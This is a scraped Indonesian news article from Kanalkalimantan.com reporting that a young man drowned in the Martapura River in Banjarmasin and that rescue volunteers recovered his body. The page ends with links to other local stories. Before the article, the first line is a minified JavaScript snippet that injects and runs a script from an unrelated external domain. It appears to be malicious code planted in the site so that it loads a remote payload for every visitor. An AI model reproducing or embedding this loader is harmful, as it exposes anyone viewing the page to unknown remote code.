(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setelah lebih dua jam dilakukan penyisiran di aliran Sungai Martapura, tubuh Arif Wirayudha Rahman (22) ditemukan tak jauh dari lokasi titik nol tenggelam di kawasan Siring 0 Kilometer, Senin (29/1/2024) malam.
Yuda ditemukan sekitar 10 meter dari titik ia tenggelam, tepatnya di seberang dermaga pasar terapung.
Jasad Yuda ditemukan sudah dalam kondisi tidak bernyawa dalam keadaan berpakaian lengkap seperti saat ia membersihkan selang sebelum dilaporkan tenggelam.
Baca juga: Jadi Kaki Tangan Cuci Uang Gembong Narkoba, Bertemu Fredy Pratama saat Dikasih Liburan ke Thailand
Yuda ditemukan oleh relawan Water Rescue yang sejak sore bersama tim gabungan melakukan pencairan dengan metode penyelaman.
“Ditemukannya selepas Magrib sekitar pukul 18.30 Wita, satu kali turun setelah kita rehat Magrib. Alhamdulillah langsung ditemukan,” kata Zainal, relawan Water Rescue.
Posisi tubuh Yuda saat ditemukan kata Zainal berada di dasar sungai dengan badan menghadap ke bawah.
Baca juga: Banyak Syarat Pelaporan, APK Melanggar Aturan di Banjarbaru Tak Bisa Ditertibkan
“Posisi ditemukan tertelungkup,” katanya.
Proses pencarian menurutnya cukup menguras tenaga, sebab arus Sungai Martapura pada sore hingga malam hari cukup deras hingga menyusahkan penyisiran ke dasar sungai.
Jasad Yuda dibawa ke ruang pemulasaran jenazah Rumah Sakit Umum Daerah Ulin Banjarmasin sebelum dibawa ke rumah duka.
Baca juga: Siap Bangun Trotoar Jalan Kemuning, Dinas PUPR Banjarbaru Anggarkan Rp5,5 Miliar
Sebelumnya korban dinyatakan tenggelam, Senin (29/1/2024) pukul 15.00 Wita setelah melaksanakan pembersihan selang bersama rekan setimnya di BPK Malataba.
Fadli yang merupakan rekan korban mengatakan, Yuda sempat mengajak untuk berenang bersama ketika selesai membersihkan selang yang bisa digunakannya untuk memadamkan api.
Namun, ajakan itu ditolak oleh sebagian besar rekan karena saat itu aliran Sungai Martapura sedang dalam kondisi deras. Bahkan kata Fadli, mereka sudah mengingatkan Yuda agar tidak berenang ke tengah aliran deras tersebut.
Baca juga: Revitalisasi Taman Satwa Jahri Saleh Banjarmasin Terancam Gagal
“Kata kami jangan dulu, karena arus airnya lagi deras. Tanpa banyak omong langsung nyebur,” katanya.
Setelah bercebur, Yuda yang berada di tengah Sungai Martapura dikatakan terbawa arus dan langsung hilang tenggelam.
“Kami tak berani lagi nyebur, karena hampir setengah sungai nyebrangnya,” kata teman Yuda.
Baca juga: Panwaslu Amuntai Tengah Simulasi Pengawasan di TPS
Setelah itu, saksi dan teman-temannya lain berusaha mencari bantuan dan melaporkan kejadian tersebut ke petugas setempat.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.